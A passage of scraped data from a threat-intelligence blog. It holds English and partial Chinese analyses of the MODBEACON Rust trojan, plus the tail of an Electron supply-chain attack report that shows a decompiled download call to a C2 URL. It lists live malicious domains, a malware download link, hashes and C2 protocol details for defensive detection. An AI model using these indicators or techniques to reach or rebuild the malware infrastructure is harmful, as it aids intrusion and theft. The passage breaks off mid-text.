\\(DeleteUrlCacheEntryW \\+ URLDownloadToFileW\\)\n    dword\\_140079364,         // configuration word\n    11,                      // protocol/version constant\n    &String1                 // C2 URL\n\\);\n</code></pre>\n<br>\n<h3 class="line" data-line="184">Summary</h3>\n<p class="line" data-line="186">At present, all products of QIANXIN based on threat intelligence data from the Threat Intelligence Center – including QIANXIN Threat Intelligence Platform (TIP), Tianqing, Tianyan Advanced Threat Detection System, QIANXIN NGSOC, and QIANXIN Situational Awareness – already support precise detection of such attacks.</p>\n<p class="line img-box text-center" data-line="188"><img src="/uploads/2026/08/10/38855622925d4994e73d320592398a15.png" alt="" width="70%"></p>\n<br>\n<h3 class="line" data-line="192">IOC</h3>\n<p class="line" data-line="194">MD5:</p>\n<p class="line" data-line="196">8fb230a39b06c8aadce608f2abda19f1</p>\n<p class="line" data-line="198">a8020097a34d32721ddcba6cf75091b1</p>\n<p class="line" data-line="200">bdcaa7dc332f473ddbb50e606b1e707f</p>\n<p class="line" data-line="202">26f62150a38a0cd2d9d1087296e3d655</p>\n<p class="line" data-line="204">fb15ee51b257c91952082c1a35fe26c0</p>\n<p class="line" data-line="206">e6968d38ddb68931ff3e43db9e1535a4</p>\n<p class="line" data-line="208">1c801f78185f11eccaa5a37a62720e00</p>\n<p class="line" data-line="210">C2:</p>\n<p class="line" data-line="212">autotranshub.com</p>\n<p class="line" data-line="214">msultra.xin</p>\n<p class="line" data-line="216">winterms.com</p>\n<p class="line" data-line="218">navicat.cc</p>\n<p class="line" data-line="220">homeital.com</p>\n<p class="line" data-line="222">identifiles.com</p>\n<p class="line" data-line="224">msapifast.com</p>\n<br>\n<h3 class="line" data-line="228">References</h3>\n<p class="line" data-line="230">[1] https://ti.qianxin.com/blog/articles/operation-dragon-dance-the-sword-of-damocles-hanging-over-the-gaming-industry/</p>\n<p class="line" data-line="232">[2] https://ti.qianxin.com/blog/articles/operation-deviltiger-0day-vulnerability-techniques-and-tactics-used-by-apt-q-12-disclosed-cn/</p>\n<p class="line" data-line="234">[3] https://ti.qianxin.com/blog/articles/operation-south-star-cn/</p>\n<p class="line" data-line="236">[4] https://ti.qianxin.com/blog/articles/supply-chain-attack-on-official-installer-of-a-virtual-mobile-service-provider-cn/</p>\n<p class="line" data-line="238">[5] https://ti.qianxin.com/blog/articles/original-supply-chain-incident-on-an-encrypted-im-official-website-cn/</p>\n',campaign:n,area:[],industries:[],degree:d,aggressor_type:[],permlink:"https://ti.qianxin.com/blog/articles/supply-chain-attack-activities-against-domestic-electron-software-en"},{_id:W,title:_,category:s,readableId:"operation-phnom-penh-silverfox-ghost-distributor-targets-specific-victims-with-modbeacon-en",isPdfArticle:a,isAdvisorArticle:a,abstract:"In mid-June 2026, the Red Raindrop Team at Qianxin Threat Intelligence Center detected, through its private intelligence AI production pipeline, a Ghost distributor delivering a highly modular special trojan written in Rust to specific targets. Based on its distinctive string characteristics, we named the trojan MODBEACON. Its victim targeting is highly customized, spanning sectors including technology, education, and state-owned enterprises.",author:i,headImg:t,descImg:e,pdfFile:e,iocFile:e,tags:[_n,pp,Rt],publish_time:"2026-07-06T07:23:02.000Z",content:'<h2 class="line" data-line="0">
105Background</h2>\n<p class="line" data-line="2">&quot;Silver Fox / UTG-Q-1000&quot; has long been regarded as a byword for low-sophistication, high-activity cybercriminal operations that distribute counterfeit software via SEO channels. However, behind the scenes lies an organizational structure resembling foreign Malware-as-a-Service (MaaS), composed of multiple distributors. These distributors conduct activities across Asia using counterfeit software installers distributed through SEO campaigns, leveraging variants of Ghost and WinOS (ValleyRat) trojan families. In 2025, we countered one such distributor<sup>[1]</sup>, whose remote-control objective was limited to delivering fraud links in IM group chats, with no involvement in information theft or political motives.</p>\n<p class="line" data-line="4">In mid-June 2026, the Red Raindrop Team at Qianxin Threat Intelligence Center detected, through its private intelligence AI production pipeline, a Ghost distributor delivering a highly modular special trojan written in Rust to specific targets. Based on its distinctive string characteristics, we named the trojan <strong>MODBEACON</strong>. Its victim targeting is highly customized, spanning sectors including technology, education, and state-owned enterprises:</p>\n<p class="line img-box text-center" data-line="6"><img src="/uploads/2026/07/06/775881df1b48e1da2d3104fa909ef6cf.png" alt="" width="70%"></p>\n<p class="line" data-line="8">MODBEACON\'s requested C2 domains are hosted on Amazon CDN and Cloudflare CDN. The trojan is a professional and private C2 framework: the loader and beacon are separated, the configuration is injectable, the beacon employs a plugin-based architecture (native-v3 plugins with entry/init/fini RVA), and it uses gRPC tunnel streaming for communication. The overall engineering quality is high. Its core highlight is the reuse of the transport layer from an open-source anti-censorship proxy framework (Xray/V2Ray) as its C2 channel (xray.transport.internet.grpc.encoding.GRPCService/Tun) — a protocol originally designed to disguise VMess/VLESS/Trojan proxy protocol data streams as ordinary gRPC bidirectional streaming calls, causing the traffic to appear at the network layer as standard HTTP/2 + gRPC requests, thereby evading blocking and inspection based on traffic characteristics.</p>\n<p class="line" data-line="10">In subsequent attribution efforts against this Ghost distributor, we further discovered that it also conducts &quot;black-on-black&quot; operations targeting Cambodia\'s gambling industry. The lure naming style is notably similar to what we disclosed during the GoldenEye Dog<sup>[2]</sup> and GoldenFinger Dog<sup>[3]</sup> campaigns. Combined with its behavior of filtering targets by specific industries and delivering MODBEACON with tiered privileges, the distributor\'s motives can no longer be explained by purely economic objectives. There may be outsourced political intent behind its activities, which has sparked our strong interest in this distributor.</p>\n<p class="line" data-line="12">The Qianxin SkyEye &quot;Liuhe&quot; Advanced Threat Defense Engine is already capable of intercepting MODBEACON stage shellcode:</p>\n<p class="line img-box text-center" data-line="14"><img src="/uploads/2026/07/06/3ff40418755a17d4f8aa36775c574d90.png" alt="" width="70%"></p>\n<br>\n<h2 class="line" data-line="18">Silver Fox Ghost Distributor Attribution</h2>\n<p class="line" data-line="20">The Ghost C2s involved in delivering MODBEACON are as follows:</p>\n<ul>\n<li>www.nd9c887r.com</li>\n<li>www.damaix9k.com</li>\n<li>vaeth.cn</li>\n<li>182.16.88.242</li>\n<li>kkuu8899.org</li>\n</ul>\n<p class="line" data-line="28">Based on on-site investigation of download records, we identified the upstream counterfeit domains and download links:</p>\n<table>\n<thead>\n<tr>\n<th>-</th>\n<th>-</th>\n</tr>\n</thead>\n<tbody>\n<tr>\n<td><strong>SEOCampaign Counterfeit Domains</strong></td>\n<td></td>\n</tr>\n<tr>\n<td>cn-mumu.com.cn</td>\n<td></td>\n</tr>\n<tr>\n<td><strong>Download Link</strong></td>\n<td></td>\n</tr>\n<tr>\n<td>https://asd268668.oss-ap-southeast-1.aliyuncs.com/MeiqiWintsetup_x64.zip</td>\n<td></td>\n</tr>\n</tbody>\n</table>\n<p class="line img-box text-center" data-line="38"><img src="/uploads/2026/07/06/307da948afaf5207870fe02fc54333dd.png" alt="" width="70%"></p>\n<p class="line" data-line="40">Metadata-based pivoting revealed that this batch of counterfeit domains became active as early as September 2025. The involved counterfeit domains are as follows:</p>\n<p class="line img-box text-center" data-line="42"><img src="/uploads/2026/07/06/1889b4c077814f0879cc5ebd1ab08f98.png" alt="" width="200"></p>\n<p class="line" data-line="44">VirusTotal data also shows that this distributor\'s daily activities mainly involve counterfeiting popular domestic software, with a large number of government and enterprise entities compromised.</p>\n<p class="line img-box text-center" data-line="46"><img src="/uploads/2026/07/06/3b8e18df0c01d444d18e10ecaf3fdac7.png" alt="" width="70%"></p>\n<p class="line" data-line="48">Based on MODBEACON\'s domains, we correlated another batch of Ghost lures. The filenames mostly use Cambodian anti-scam park crackdowns and public security incidents as hooks, featuring high timeliness and sensationalism: Poipet (a border scam hub), Sihanoukville, Phnom Penh, as well as corresponding Khmer-language versions.</p>\n<p class="line img-box text-center" data-line="50"><img src="/uploads/2026/07/06/6bfc20d99fcad60856bb952b6b1aecce.png" alt="" width="70%"></p>\n<p class="line" data-line="52">In assessing the nature of this distributor, we lean toward classifying it as a <strong>Hybrid Threat Actor</strong> — a composite of &quot;cybercriminal arms dealer&quot; and &quot;traffic broker.&quot; On one hand, it accumulates a large number of controlled endpoints across Asia through daily SEO operations for fraud business. On the other hand, it delivers advanced custom trojans on demand, &quot;renting&quot; or &quot;packaging and selling&quot; high-value access to downstream, more professional &quot;client entities,&quot; or establishing its own &quot;black-on-black squads&quot; targeting high-value gambling victims.</p>\n<br>\n<h2 class="line" data-line="56">MODBEACONAnalysis</h2>\n<p class="line" data-line="58">In addition to creating persistence for MODBEACON through traditional methods such as services and scheduled tasks, Ghost also establishes a WMI permanent subscription event to create a CBPUserTimer timer that launches the MODBEACON trojan:</p>\n<p class="line img-box text-center" data-line="60"><img src="/uploads/2026/07/06/745b882f8c2cbb04f8a9b871b57abf06.png" alt="" width="70%"></p>\n<p class="line" data-line="62">The sample is a memory-resident stage/implant for Windows x64, written in Rust or statically linked with the Rust runtime. It features gRPC over HTTP/2 communication, TLS connections, host fingerprinting, agent token authentication, heartbeat, status reporting, command result reporting, in-memory plugin loading, and native-v3 plugin session capabilities. Based on the string MODBEACON_AGENT_TOKEN_PATCH_V1, we named the trojan MODBEACON.</p>\n<p class="line" data-line="64"><strong>C2/Endpoint</strong></p>\n<p class="line" data-line="66">1.https://api.skystackservice.com</p>\n<ul>\n<li>Offset:<code>0x79708</code></li>\n<li>Code reference:<code>0x32160</code></li>\n</ul>\n<p class="line" data-line="70">2.https://api.fast-cloud-node.com</p>\n<ul>\n<li>Offset:<code>0x79727</code></li>\n<li>Code references:<code>0x32182</code>、<code>0x5ab99</code>,with an indirect reference near 0x0dc5a</li>\n</ul>\n<p class="line" data-line="74"><strong>Agent Token / Hash</strong></p>\n<p class="line" data-line="76">
105b68e2067cc88985339154ef7b9674fa1fe958039ce15a8820195217495cded7994d660f181fe1367337ac8d6b372473c596be3f40ee989007bad57c2736be017</p>\n<ul>\n<li>Length:128 hex chars</li>\n<li>Location:Immediately following the two HTTPS endpoints, starting at approximately 0x79746</li>\n</ul>\n<p class="line" data-line="81"><strong>Mutex / Environment Variables</strong></p>\n<ul>\n<li><code>Global\\\\CBP\\.QZKVM\\.Exe\\.Mutex</code>,offset  <code>0x7159c</code></li>\n<li><code>CBPUserSvc</code>,offset  <code>0x71578</code></li>\n<li><code>APP\\_RUNTIME</code>,offset  <code>0x71582</code></li>\n<li><code>APP\\_EXE\\_PATH</code>,offset  <code>0x7158c</code></li>\n<li><code>MODBEACON\\_AGENT\\_TOKEN\\_PATCH\\_V1</code>,offset  <code>0x7fc98</code></li>\n</ul>\n<p class="line" data-line="89"><strong>Protocol / Service Names</strong></p>\n<ul>\n<li><code>/xray\\.transport\\.internet\\.grpc\\.encoding\\.GRPCService/Tun</code></li>\n<li><code>xray\\.transport\\.internet\\.grpc\\.encoding\\.GRPCService</code></li>\n<li><code>Tun</code></li>\n<li><code>x\\-agent\\-token</code></li>\n<li><code>application/grpc</code></li>\n<li><code>grpc\\-status</code></li>\n<li><code>grpc\\-message</code></li>\n<li><code>grpc\\-timeout</code></li>\n</ul>\n<br>\n<h3 class="line" data-line="102">Control Flow Overview</h3>\n<h4 class="line" data-line="104">Initialization and Single Instance</h4>\n<p class="line" data-line="106">Near 0x149a, 0x17ce, and 0x170a, RIP-relative references to CBPUserSvc, APP_RUNTIME, and Global\\CBP.QZKVM.Exe.Mutex are visible. The import table contains CreateMutexW, GetEnvironmentVariableW, SetEnvironmentVariableW, GetModuleFileNameW, and other APIs. The inferred initialization flow is:</p>\n<ol>\n<li>Read runtime environment variables and program path.</li>\n<li>Create Global\\CBP.QZKVM.Exe.Mutex to prevent multiple instances.</li>\n<li>Initialize runtime, thread, and network components via Windows APIs.</li>\n</ol>\n<br>\n<h4 class="line" data-line="114">C2 Configuration Selection and Token Patch</h4>\n<p class="line" data-line="116">Near 0x32120, a function contains concentrated references to the default C2 and token patch strings:</p>\n<ul>\n<li>0x32160 uses a RIP-relative address to load the configuration near https://api.skystackservice.com.</li>\n<li>0x32182 loads the configuration near https://api.fast-cloud-node.com.</li>\n<li>0x321b8 references MODBEACON_AGENT_TOKEN_PATCH_V1, followed by a 0x200-byte loop-check logic, suspected to read/overwrite the built-in agent token.</li>\n</ul>\n<p class="line" data-line="122">This function has a large stack frame, consistent with the morphology of Rust configuration construction, string objects, and error-handling paths. Combined with the strings parse grpc endpoint, connect grpc endpoint, and invalid agent token metadata, it can be determined that this function is responsible for parsing endpoints, constructing token metadata, and selecting an available C2.</p>\n<br>\n<h4 class="line" data-line="126">gRPC / TLS Communication Flow</h4>\n<p class="line" data-line="128">The string pool starting at 0x794c8 provides main flow status text:</p>\n<ul>\n<li><code>parse grpc endpoint</code></li>\n<li><code>connect grpc endpoint</code></li>\n<li><code>build native TLS connector</code></li>\n<li><code>queue hello</code></li>\n<li><code>invalid agent token metadata</code></li>\n<li><code>x\\-agent\\-token</code></li>\n<li><code>open grpc tun stream</code></li>\n<li><code>read hello ack</code></li>\n<li><code>read server frame</code></li>\n<li><code>grpc response stream ended</code></li>\n<li><code>heartbeat timeout</code></li>\n<li><code>grpc response stream ended before hello ack</code></li>\n</ul>\n<p class="line" data-line="143">This indicates the communication flow is:</p>\n<ol>\n<li>Parse the built-in HTTPS C2.</li>\n<li>Establish a native TLS connector.</li>\n<li>Open a bidirectional tunnel using the gRPC Tun service.</li>\n<li>Carry x-agent-token in the metadata.</li>\n<li>Send hello and wait for HelloAck.</li>\n<li>Maintain heartbeat.</li>\n<li>Receive server frames and dispatch commands.</li>\n<li>Upload status refresh and command execution results.</li>\n</ol>\n<p class="line" data-line="154">The import table simultaneously contains WSAStartup, WSASocketW, connect, send, recv, shutdown, CertGetCertificateChain, CertVerifyCertificateChainPolicy, InitializeSecurityContextW, EncryptMessage, DecryptMessage, supporting the above network/TLS assessment.</p>\n<br>\n<h4 class="line" data-line="158">Host Fingerprinting</h4>\n<p class="line" data-line="160">Near 0x465c5, there is a reference to SOFTWARE\\Microsoft\\Cryptography\\MachineGuid. The string pool also contains:</p>\n<ul>\n<li><code>COMPUTERNAME</code></li>\n<li><code>HOSTNAME</code></li>\n<li><code>USERNAME</code></li>\n<li><code>USERLOGNAME</code></li>\n<li><code>SystemRoot</code></li>\n<li><code>windir</code></li>\n<li><code>SystemDrive</code></li>\n<li><code>platform</code></li>\n<li><code>system\\-disk</code></li>\n<li><code>
105host\\-user</code></li>\n<li><code>windows\\-system\\-volume:</code></li>\n</ul>\n<p class="line" data-line="173">It is inferred that this stage collects host unique identifiers, username, hostname, system directories, and disk information, used for agent registration, generating check-in status, or environment tags.</p>\n<br>\n<h4 class="line" data-line="177">Command and Plugin Dispatch</h4>\n<p class="line" data-line="179">Protobuf/gRPC semantic strings are located at 0x7b600+:</p>\n<ul>\n<li><code>Command</code></li>\n<li><code>command\\_id</code></li>\n<li><code>HelloAck</code></li>\n<li><code>Heartbeat</code></li>\n<li><code>ConfigSync</code></li>\n<li><code>LoadPlugin</code></li>\n<li><code>UnloadPlugin</code></li>\n<li><code>StatusRefresh</code></li>\n<li><code>PluginSessionFrame</code></li>\n<li><code>artifact\\_bytes</code></li>\n<li><code>artifact\\_format</code></li>\n<li><code>sha256</code></li>\n<li><code>target</code></li>\n<li><code>source\\_flag</code></li>\n</ul>\n<p class="line" data-line="195">Near 0x44003, PluginSessionFrame is referenced multiple times; near 0x4475f, LoadPlugin-related enums/fields are referenced multiple times, indicating that server frames are parsed and routed into different command-handling branches.</p>\n<br>\n<h4 class="line" data-line="199">Native-v3 In-Memory Plugin Loading</h4>\n<p class="line" data-line="201">The string pool at 0x79900-0x7a758 contains the complete native-v3 loader error path:</p>\n<ul>\n<li><code>load plugin artifact</code></li>\n<li><code>load native\\-v3 plugin module</code></li>\n<li><code>plugin loaded in memory</code></li>\n<li><code>plugin reloaded in memory</code></li>\n<li><code>plugin unloaded</code></li>\n<li><code>native\\-v3 plugin on\\_load failed</code></li>\n<li><code>native\\-v3 plugin on\\_session is missing</code></li>\n<li><code>artifact target architecture does not match this agent</code></li>\n<li><code>segment protection failed</code></li>\n<li><code>relocation overflow</code></li>\n<li><code>entry rva is not executable</code></li>\n<li><code>segment cannot be writable and executable</code></li>\n</ul>\n<p class="line" data-line="215">This indicates that the sample supports receiving native-v3 format plugins from the C2, allocating images in memory, verifying architecture, mapping segments, applying relocations, setting memory protections, and calling plugin entry/session callbacks. This capability can be used for subsequent on-demand expansion of information theft, lateral movement, proxy forwarding, or other payloads.</p>\n<br>\n<h2 class="line" data-line="219">Summary</h2>\n<p class="line" data-line="221">Currently, based on threat intelligence data from Qianxin Threat Intelligence Center, all product lines — including the Qianxin Threat Intelligence Platform (TIP), SkyEye, SkyEye Advanced Threat Detection System, Qianxin NGSOC, and Qianxin Situational Awareness — have already enabled precise detection for this type of attack.</p>\n<p class="line img-box text-center" data-line="223"><img src="/uploads/2026/07/06/4f700fa635d3332454558cda64be81b6.png" alt="" width="70%"></p>\n<br>\n<h2 class="line" data-line="227">IOC</h2>\n<p class="line" data-line="229">MODBEACON-MD5:</p>\n<p class="line" data-line="231">13aff4f82171d42e7f0a72dc96346c45</p>\n<p class="line" data-line="233">f6c69d8026d2114e5322f06f69471a6c</p>\n<p class="line" data-line="235">9913b09fddbe47d4459c1ae0aa8c4953</p>\n<p class="line" data-line="237">e32797efc17c8a9a663f6f0e64fcfa08</p>\n<p class="line" data-line="239">MODBEACON C2:</p>\n<p class="line" data-line="241">skystackservice.com</p>\n<p class="line" data-line="243">fast-cloud-node.com</p>\n<p class="line" data-line="245">ghost C2:</p>\n<p class="line" data-line="247">www.nd9c887r.com</p>\n<p class="line" data-line="249">www.damaix9k.com</p>\n<p class="line" data-line="251">vaeth.cn</p>\n<p class="line" data-line="253">182.16.88.242:22</p>\n<p class="line" data-line="255">kkuu8899.org</p>\n<br>\n<h2 class="line" data-line="259">References</h2>\n<p class="line" data-line="261">[1] https://mp.weixin.qq.com/s/BUDSvqc_DhBNad71kI2VuA</p>\n<p class="line" data-line="263">[2] https://ti.qianxin.com/blog/articles/operation-dragon-breath-(apt-q-27)-dimensionality-reduction-blow-to-the-gambling-industry/</p>\n<p class="line" data-line="265">[3] https://www.secrss.com/articles/27069</p>\n',campaign:n,area:[],industries:[],degree:d,aggressor_type:[],permlink:"https://ti.qianxin.com/blog/articles/operation-phnom-penh-silverfox-ghost-distributor-targets-specific-victims-with-modbeacon-en"},{_id:L,title:V,category:s,readableId:"operation-phnom-penh-silverfox-ghost-distributor-targets-specific-victims-with-modbeacon-cn",isPdfArticle:a,isAdvisorArticle:a,abstract:"2026 年 6 月中旬,奇安信威胁情报中心红雨滴团队的私有情报 AI 生产流程检测到一伙 ghost 分发商在特定目标下发一款由 Rust 编写、高度模块化的特种木马;基于其特殊字符串特征,我们将该木马命名为 MODBEACON。其受害目标呈现高度定制化,涉及科技、教育、国企等领域。",author:i,headImg:t,descImg:e,pdfFile:e,iocFile:e,tags:[_n,pp,Rt],publish_time:"2026-07-06T06:24:29.000Z",content:'<h2 class="line" data-line="0">背景</h2>\n<p class="line" data-line="2">&quot;银狐/UTG-Q-1000&quot;长期被视作低水平、高活跃度、以 SEO 为渠道投递仿冒软件的黑产的代名词,但其背后实为多个分发商构成的、类似境外 Malware-as-a-Service (MaaS) 的组织架构。这些分发商借助 ghost 变种、winos(ValleyRat)等木马家族,在亚洲地区借仿冒软件安装包的 SEO 投放开展活动。2025 年我们反制了其中一个分发商<sup>
105[1]</sup>,其远控目的仅限于在 IM群聊中投递诈骗链接,并不涉及窃密与政治动机。</p>\n<p class="line" data-line="4">2026 年 6 月中旬,奇安信威胁情报中心红雨滴团队的私有情报 AI 生产流程检测到一伙 ghost 分发商在特定目标下发一款由 Rust 编写、高度模块化的特种木马;基于其特殊字符串特征,我们将该木马命名为 MODBEACON。其受害目标呈现高度定制化,涉及科技、教育、国企等领域:</p>\n<p class="line img-box text-center" data-line="6"><img src="/uploads/2026/07/06/775881df1b48e1da2d3104fa909ef6cf.png" alt="" width="70%"></p>\n<p class="line" data-line="8">MODBEACON 请求的 C2 域名托管于 Amazon CDN 与 Cloudflare CDN。该木马是一款专业且私有的 C2 框架:加载器与 beacon 分离、配置可注入、beacon 采用插件化架构(native-v3 插件,带 entry/init/fini RVA)、gRPC 隧道流式通信,整体工程化程度较高。其核心亮点在于复用开源抗审查代理框架(Xray/V2Ray)的传输层作为 C2信道(xray.transport.internet.grpc.encoding.GRPCService/Tun)——该协议本用于将 VMess/VLESS/Trojan 等代理协议的数据流伪装为一次普通的 gRPC 双向流式调用,使流量在网络层呈现为标准的 HTTP/2 + gRPC 请求,从而规避基于流量特征的封锁与审查。</p>\n<p class="line" data-line="10">在后续对这伙ghost分发商的溯源中,我们进一步发现其还针对柬埔寨的博彩行业展开&quot;黑吃黑&quot;活动,投递的诱饵命名风格与当年我们披露金眼狗<sup>[2]</sup>、金指狗<sup>[3]</sup>时颇为相似。结合其按特定行业筛选目标、并分权限下发MODBEACON特马的行为特征,该分发商的动机已难以单纯以经济目的加以解释,背后可能存在外包性质的政治意图,这引起了我们对该分发商的浓厚兴趣</p>\n<p class="line" data-line="12">天擎“六合”高级威胁防御引擎已经可以对 MODBEACON stage shellcode 进行拦截:</p>\n<p class="line img-box text-center" data-line="14"><img src="/uploads/2026/07/06/3ff40418755a17d4f8aa36775c574d90.png" alt="" width="70%"></p>\n<br>\n<h2 class="line" data-line="18">银狐ghost分发商溯源</h2>\n<p class="line" data-line="20">涉及投递MODBEACON特马的ghost C2如下:</p>\n<ul>\n<li>www.nd9c887r.com</li>\n<li>www.damaix9k.com</li>\n<li>vaeth.cn</li>\n<li>182.16.88.242</li>\n<li>kkuu8899.org</li>\n</ul>\n<p class="line" data-line="28">基于我们现场排查的下载记录定位到上层的仿冒域名和下载链接:</p>\n<table>\n<thead>\n<tr>\n<th>-</th>\n<th>-</th>\n</tr>\n</thead>\n<tbody>\n<tr>\n<td><strong>SEO活动仿冒域名</strong></td>\n<td></td>\n</tr>\n<tr>\n<td>cn-mumu.com.cn</td>\n<td></td>\n</tr>\n<tr>\n<td><strong>下载链接</strong></td>\n<td></td>\n</tr>\n<tr>\n<td>https://asd268668.oss-ap-southeast-1.aliyuncs.com/MeiqiWintsetup_x64.zip</td>\n<td></td>\n</tr>\n</tbody>\n</table>\n<p class="line img-box text-center" data-line="37"><img src="/uploads/2026/07/06/307da948afaf5207870fe02fc54333dd.png" alt="" width="70%"></p>\n<p class="line" data-line="39">基于元数据扩线发现这批仿冒域名最早于2025年9月份开始活跃,涉及的仿冒域名如下:</p>\n<p class="line img-box text-center" data-line="41"><img src="/uploads/2026/07/06/1889b4c077814f0879cc5ebd1ab08f98.png" alt="" width="200"></p>\n<p class="line" data-line="43">基于VT数据也能观察到该分发商的日常活动主要是仿冒国内流行软件,大量政企中招。</p>\n<p class="line img-box text-center" data-line="45"><img src="/uploads/2026/07/06/3b8e18df0c01d444d18e10ecaf3fdac7.png" alt="" width="70%"></p>\n<p class="line" data-line="47">基于 MODBEACON 的域名我们关联到了另一批 ghost 诱饵,文件名多以以柬埔寨打击诈骗园区、治安事件为噱头,极具时效性与猎奇性:Poipet(波贝,边境诈骗重镇)、Sihanoukville(西哈努克港)、Phnom Penh(金边)还有对应的高棉语版本。</p>\n<p class="line img-box text-center" data-line="49"><img src="/uploads/2026/07/06/6bfc20d99fcad60856bb952b6b1aecce.png" alt="" width="70%"></p>\n<p class="line" data-line="51">对该分发商性质的评估,我们更倾向于混合型威胁组织(Hybrid Threat Actor)属于“黑产军火商”与“流量中间商”的复合体,一方面通过日常 SEO 工作在亚洲积累大量受控终端进行诈骗业务,另一方面按需下发高级特马,将高价值的权限“出租”或“打包出售”给下游更专业的“甲方客户”,或者自己建立针对高价值博彩目标的“黑吃黑小组”。</p>\n<br>\n<h2 class="line" data-line="55">MODBEACON 分析</h2>\n<p class="line" data-line="57">Ghost 除了通过服务和计划任务等传统方式给 MODBEACON 创建持久化外,还会建立 wmi 永久订阅事件建立 CBPUserTimer 定时器启动 MODBEACON 特马:</p>\n<p class="line img-box text-center" data-line="59"><img src="/uploads/2026/07/06/745b882f8c2cbb04f8a9b871b57abf06.png" alt="" width="70%"></p>\n<p class="line" data-line="61">样本是一个 Rust 编写或静态链接 Rust 运行库的 Windows x64 内存态 stage/implant,具备 gRPC over HTTP/2 通信、TLS 连接、主机指纹采集、agent token 
105认证、心跳、状态回传、命令结果回传、内存插件加载和 native-v3 插件会话能力。基于字符串 <code>MODBEACON\\_AGENT\\_TOKEN\\_PATCH\\_V1</code>,我们将特马命名为 MODBEACON。</p>\n<p class="line" data-line="63"><strong>C2/Endpoint</strong></p>\n<p class="line" data-line="65">1.https://api.skystackservice.com</p>\n<ul>\n<li>偏移:<code>0x79708</code></li>\n<li>代码引用:<code>0x32160</code></li>\n</ul>\n<p class="line" data-line="70">2.https://api.fast-cloud-node.com</p>\n<ul>\n<li>偏移:<code>0x79727</code></li>\n<li>代码引用:<code>0x32182</code>、<code>0x5ab99</code>,另有 <code>0x0dc5a</code> 附近间接引用命中</li>\n</ul>\n<p class="line" data-line="75"><strong>Agent Token / Hash</strong></p>\n<p class="line" data-line="77">b68e2067cc88985339154ef7b9674fa1fe958039ce15a8820195217495cded7994d660f181fe1367337ac8d6b372473c596be3f40ee989007bad57c2736be017</p>\n<ul>\n<li>长度:128 hex chars</li>\n<li>位置:紧跟两个 HTTPS endpoint 之后,起始约 <code>0x79746</code></li>\n</ul>\n<p class="line" data-line="82"><strong>互斥体/环境变量</strong></p>\n<ul>\n<li><code>Global\\\\CBP\\.QZKVM\\.Exe\\.Mutex</code>,偏移 <code>0x7159c</code></li>\n<li><code>CBPUserSvc</code>,偏移 <code>0x71578</code></li>\n<li><code>APP\\_RUNTIME</code>,偏移 <code>0x71582</code></li>\n<li><code>APP\\_EXE\\_PATH</code>,偏移 <code>0x7158c</code></li>\n<li><code>MODBEACON\\_AGENT\\_TOKEN\\_PATCH\\_V1</code>,偏移 <code>0x7fc98</code></li>\n</ul>\n<p class="line" data-line="90"><strong>协议/服务名</strong></p>\n<ul>\n<li><code>/xray\\.transport\\.internet\\.grpc\\.encoding\\.GRPCService/Tun</code></li>\n<li><code>xray\\.transport\\.internet\\.grpc\\.encoding\\.GRPCService</code></li>\n<li><code>Tun</code></li>\n<li><code>x\\-agent\\-token</code></li>\n<li><code>application/grpc</code></li>\n<li><code>grpc\\-status</code></li>\n<li><code>grpc\\-message</code></li>\n<li><code>grpc\\-timeout</code></li>\n</ul>\n<br>\n<h3 class="line" data-line="103">控制流概览</h3>\n<h4 class="line" data-line="105">初始化与单实例</h4>\n<p class="line" data-line="107">在 <code>0x149a</code>、<code>0x17ce</code>、<code>0x170a</code> 附近可见对 <code>CBPUserSvc</code>、<code>APP\\_RUNTIME</code>、<code>Global\\\\CBP\\.QZKVM\\.Exe\\.Mutex</code> 的 RIP 相对引用。导入区包含 <code>CreateMutexW</code>、<code>GetEnvironmentVariableW</code>、<code>SetEnvironmentVariableW</code>、<code>GetModuleFileNameW</code> 等 API。推测初始化流程包括:</p>\n<p class="line" data-line="109">1. 读取运行环境变量和程序路径。</p>\n<p class="line" data-line="111">2. 创建 <code>Global\\\\CBP\\.QZKVM\\.Exe\\.Mutex</code> 防止多实例。</p>\n<p class="line" data-line="113">3. 通过 Windows API 初始化运行时、线程和网络组件。</p>\n<br>\n<h4 class="line" data-line="117">C2 配置选择与 token patch</h4>\n<p class="line" data-line="119"><code>0x32120</code> 附近函数集中引用默认 C2 和 token patch 字符串:</p>\n<p class="line" data-line="121"><code>0x32160</code> 使用 RIP 相对地址加载 <code>https://api\\.skystackservice\\.com</code> 附近配置。</p>\n<p class="line" data-line="123"><code>0x32182</code> 加载 <code>https://api\\.fast\\-cloud\\-node\\.com</code> 附近配置。</p>\n<p class="line" data-line="125"><code>0x321b8</code> 引用 <code>MODBEACON\\_AGENT\\_TOKEN\\_PATCH\\_V1</code>,后续有 <code>0x200</code> 字节循环检查逻辑,疑似读取/覆盖内置 agent token。</p>\n<p class="line" data-line="127">该函数栈帧较大,符合 Rust 配置构造、字符串对象和错误处理路径的形态。结合字符串 <code>parse grpc endpoint</code>、<code>connect grpc endpoint</code>、<code>invalid agent token metadata</code>,可判断其负责解析 endpoint、构建 token metadata,并选择可用 C2。</p>\n<br>\n<h4 class="line" data-line="131">gRPC/TLS 通信流程</h4>\n<p class="line" data-line="133">字符串池在 <code>0x794c8</code> 起给出主流程状态文本:</p>\n<ul>\n<li><code>parse grpc endpoint</code></li>\n<li><code>connect grpc endpoint</code></li>\n<li><code>build native TLS connector</code></li>\n<li><code>queue hello</code></li>\n<li><code>invalid agent token metadata</code></li>\n<li><code>x\\-agent\\-token</code></li>\n<li><code>open grpc tun stream</code></li>\n<li><code>read hello ack</code></li>\n<li><code>read server frame</code></li>\n<li><code>grpc response stream ended</code></li>\n<li><code>heartbeat timeout</code></li>\n<li><code>grpc response stream ended before hello ack</code></li>\n</ul>\n<p class="line" data-line="147">这说明通信流程为:</p>\n<p class="line" data-line="149">
